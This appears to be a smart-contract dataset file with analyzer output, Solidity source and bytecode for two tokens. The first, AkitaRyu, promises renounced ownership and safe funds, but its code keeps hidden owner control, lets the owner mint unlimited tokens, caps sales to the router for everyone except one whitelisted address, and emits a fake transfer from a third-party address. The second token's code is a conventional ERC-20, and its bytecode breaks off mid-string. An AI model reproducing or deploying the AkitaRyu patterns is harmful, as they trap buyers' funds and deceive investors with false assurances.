{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,415 |
0x895487af24bb7375fa8c101bb2cf5109e08b7fb4
|
/*
___ __ __ __ _____ ___ _____ _ _ __ __
||=|| ||<< || || ||=|| ||_// \\// || ||
|| || || \\ || || || || || \\ // \\_//
The lost son of the infamous Dogefather. Shiba Inu killed Ryu’s father to take over the infamous INU corporation. Ever since, Akita Ryu has been on a
path to terminate all inferior Shiba’s and retake the DOG TITLE legacy.
AkitaRyu token is a trusted advanced cryptocurrency created and developed by Summit BC development team.
It will be the native token on SummitSwap, a platform for everyone.
✅ FUNDS ARE SAFU - WE OFFER
🚀 Fair Launch
🔑 Locked Liquidity
🖇 Renounced Ownership
WHITEPAPER IS IN PROGRESS. DON'T MISS OUT ON OUR PLANS TO CREATE A DECENTRALIZED EXCHANGE BUILT FOR BETTING ON MEMECOINS!
https://t.me/akitaryu
AkitaRyu.com
**/
pragma solidity ^0.6.9;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AkitaRyu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 50 * 10**9 * 10**18;
uint256 private rTotal = 50 * 10**9 * 10**18;
string private _name = 'AkitaRyu | AkitaRyu.com | @AkitaRyu';
string private _symbol = 'AkitaRyu';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212200fe653236c8c30e9ede7656a6f630d5c1c8b8dfd020fa3f62baa2c7ad74584aa64736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 4,416 |
0x840086881facb1e8c222fa5deb2f93f238b0ba95
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
/**
* @title TokenRDC
*
*/
contract TokenRDC is BurnableToken, StandardToken, Ownable {
string public constant name = "ROOMDAO COIN (RDC)";
string public constant symbol = "RDC";
uint32 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 60000000 * (10 ** uint256(decimals));
address public currentCrowdsale;
function TokenRDC( address _foundation, address _team, address _BAP ) public {
require( _foundation != address(0x0));
require( _team != address(0x0));
require( _BAP != address(0x0));
uint256 dec = 10 ** uint256(decimals); //1000000000000000000;
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
transfer( _foundation, 12000000 * dec ); // Foundation 20%
transfer( _team, 6000000 * dec ); // Team 10%
transfer( _BAP, 2400000 * dec ); // Bounty, Advisor, Partnership 4%
}
/**
* @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи
* @param _crowdsale The address of crowdsale's contract.
*/
function startCrowdsale0( address _crowdsale ) onlyOwner public {
_startCrowdsale( _crowdsale, 4500000 );
}
/**
* @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи
* @param _crowdsale The address of crowdsale's contract.
*/
function startCrowdsale1( address _crowdsale ) onlyOwner public {
_startCrowdsale( _crowdsale, 7920000 );
}
/**
* @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи
* @param _crowdsale The address of crowdsale's contract.
*/
function startCrowdsale2( address _crowdsale ) onlyOwner public {
_startCrowdsale( _crowdsale, balances[owner] );
}
/**
* @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи
* @param _crowdsale The address of crowdsale's contract.
* @param _value The amount to be transferred.
*/
function _startCrowdsale( address _crowdsale, uint256 _value ) onlyOwner internal {
require(currentCrowdsale == address(0));
currentCrowdsale = _crowdsale;
uint256 dec = 10 ** uint256(decimals);
uint256 val = _value * dec;
if( val > balances[owner] ) {
val = balances[ owner ];
}
transfer( _crowdsale, val );
}
/**
* @dev transfer token back to owner / переводим токены обратно владельцу контнракта
*
*/
function finishCrowdsale() onlyOwner public returns (bool) {
require(currentCrowdsale != address(0));
require( balances[currentCrowdsale] > 0 );
uint256 value = balances[ currentCrowdsale ];
balances[currentCrowdsale] = 0;
balances[owner] = balances[owner].add(value);
Transfer(currentCrowdsale, owner, value);
currentCrowdsale = address(0);
return true;
}
/**
* @dev Change ownershipment and move all tokens from old owner to new owner
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public {
super.transferOwnership( newOwner );
uint256 value = balances[msg.sender];
transfer( newOwner, value );
}
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd146102285780632ff2e9dc146102a1578063313ce567146102ca57806342966c68146102ff578063498c07f314610322578063661884631461035b57806370a08231146103b55780638da5cb5b1461040257806395d89b41146104575780639b4d54fc146104e5578063a9059cbb1461051e578063b80cdcf614610578578063bceceefe146105a5578063d73dd623146105de578063dd62ed3e14610638578063f2fde38b146106a4578063f5d67a20146106dd575b600080fd5b341561012257600080fd5b61012a610732565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061076b565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b61021261085d565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610867565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610c21565b6040518082815260200191505060405180910390f35b34156102d557600080fd5b6102dd610c27565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561030a57600080fd5b6103206004808035906020019091905050610c2c565b005b341561032d57600080fd5b610359600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610de4565b005b341561036657600080fd5b61039b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e50565b604051808215151515815260200191505060405180910390f35b34156103c057600080fd5b6103ec600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110e1565b6040518082815260200191505060405180910390f35b341561040d57600080fd5b610415611129565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046257600080fd5b61046a61114f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104aa57808201518184015260208101905061048f565b50505050905090810190601f1680156104d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104f057600080fd5b61051c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611188